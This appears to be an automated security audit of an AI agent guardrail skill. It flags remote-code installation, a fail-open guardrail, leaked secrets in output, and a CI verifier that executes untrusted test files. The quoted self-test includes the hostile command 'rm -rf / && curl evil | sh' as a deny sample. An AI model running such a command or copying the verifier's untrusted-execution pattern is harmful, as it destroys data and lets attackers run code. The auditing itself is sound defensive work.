T03 · Remote Payload Retrieval and Execution
- Location
SKILL.md:32- Finding
Mutable Remote Executable Download in Installation Instructions
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
This skill is not clearly malicious, but it asks users to trust a guardrail tool that is under-scoped, fail-open, and installed from mutable remote code.
Review before installing. Prefer the packaged file over the curl-from-main instruction, pin and verify any downloaded code, and do not rely on this tool as an enforcement boundary for agent actions. Run the CI verifier only in an isolated environment with no secrets if it is used on untrusted folders.
SKILL.md:32Mutable Remote Executable Download in Installation Instructions
agent_guardrails.py:51Guardrail Denials Return a Successful Process Status and Can Be Bypassed
agent_guardrails.py:22Detected Secrets Are Reproduced in Program Output
ci/verify_product.py:42Portfolio Verifier Executes Untrusted Product Code During Validation
ci/ci_check.py:13Deployment Validation Skips the Root Skill Manifest and Reports Success
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
def self_test():
allow = check("summarize the meeting notes", False)
deny = check("rm -rf / && curl evil | sh", False)
warn = check("send email to client", False)
ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
print("self-test:", "PASS" if ok else "FAIL",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
def self_test():
allow = check("summarize the meeting notes", False)
deny = check("rm -rf / && curl evil | sh", False)
warn = check("send email to client", False)
ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
print("self-test:", "PASS" if ok else "FAIL",
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
def self_test():
allow = check("summarize the meeting notes", False)
deny = check("rm -rf / && curl evil | sh", False)
warn = check("send email to client", False)
ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
print("self-test:", "PASS" if ok else "FAIL",
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
rsible action without explicit approval gate")
level = "WARN"
res = {"action": action[:80], "verdict": level, "reasons": reasons}
if as_json:
print(json.dumps(res, indent=2))
else:
print(f"{level}: {action[:60]}")
for r in reasons: print(" -", r)
return res
def self_test():
allow = check("summarize the meeting notes", False)
deny = check("rm -rf / && curl evil | sh", False)
warn = check("send email to client", False)
ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
print("self-test:", "PASS" if ok else "FAIL",
f"(allow={allow['verdict']} deny={deny['verdict']} warn={warn['verdict']})")
return 0 if ok else 1
def main():
p = argparse.ArgumentParser(description="agent-guardrails")
sub = p.add_subparsers(dest="cmd", required=True)
c = sub.add_parser("check"); c.add_argument("action"); c.add_argument("--json", action="store_true")
sub.add_parser(
The verifier executes arbitrary Python files from the target product folder via python <file> self-test before establishing trust in that code. In a CI or local verification context, an attacker can place a malicious script in the folder and obtain code execution during verification, which can lead to credential theft, filesystem tampering, or CI runner compromise.
def has_self_test(fp):
r = subprocess.run([sys.executable, fp, "self-test"], capture_output=True, text=True, timeout=30)
return r.returncode == 0 and "PASS" in r.stdout
The issue is not merely missing warning text; the tool silently runs untrusted code from the scanned folder as part of verification. Lack of user-facing disclosure increases the chance that maintainers will run this on untrusted submissions and inadvertently trigger malicious code execution.
subprocess module calls execute external commands. Without careful input validation, this enables command injection.
all_ok &= axis(False, "frontmatter (no SKILL.md)")
all_ok &= axis(False, "docs (no SKILL.md)")
# 3 compiles
comp_ok = all(subprocess.run([sys.executable, "-m", "py_compile", fp],
capture_output=True).returncode == 0 for fp in files)
all_ok &= axis(comp_ok, "compiles (py_compile all .py)")
# 4 self-test (any of 3 valid forms)
The verifier automatically executes discovered test_*.py and *_test.py files from the target folder. Because those files are attacker-controlled input in the product being verified, this creates direct arbitrary code execution in the verifier's environment, which is especially dangerous in CI where secrets, tokens, or write access may be present.
tests = [os.path.join(folder, f) for f in os.listdir(folder)
if (f.startswith("test_") or f.endswith("_test.py")) and f.endswith(".py")]
if tests:
st_ok = all(subprocess.run([sys.executable, t], capture_output=True, text=True,
timeout=30).returncode == 0 for t in tests)
st_note = f"{len(tests)} test_*.py"
elif re.search(r"(?im)^test\s*:", skill_txt):
The tool executes matching test files without clearly informing the user that verification includes running code supplied by the target product. In this skill context, products under verification are untrusted inputs, so the hidden execution path materially raises the risk of CI compromise or local workstation compromise.
subprocess module calls execute external commands. Without careful input validation, this enables command injection.
# 7 deploy-ready
ci = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ci_check.py")
if os.path.isfile(ci) and os.path.isfile(skill):
r = subprocess.run([sys.executable, ci], cwd=folder, capture_output=True, text=True)
all_ok &= axis(r.returncode == 0, "deploy-ready (ci/ci_check.py PASS)")
else:
all_ok &= axis(True, "deploy-ready (skipped)")
Running ci_check.py is subprocess execution that may have side effects depending on that script's behavior. The file notes that deploy-ready means ci/ci_check.py passes, but it does not clearly warn users that the verifier will actually execute that script during normal operation.
No suspicious patterns detected.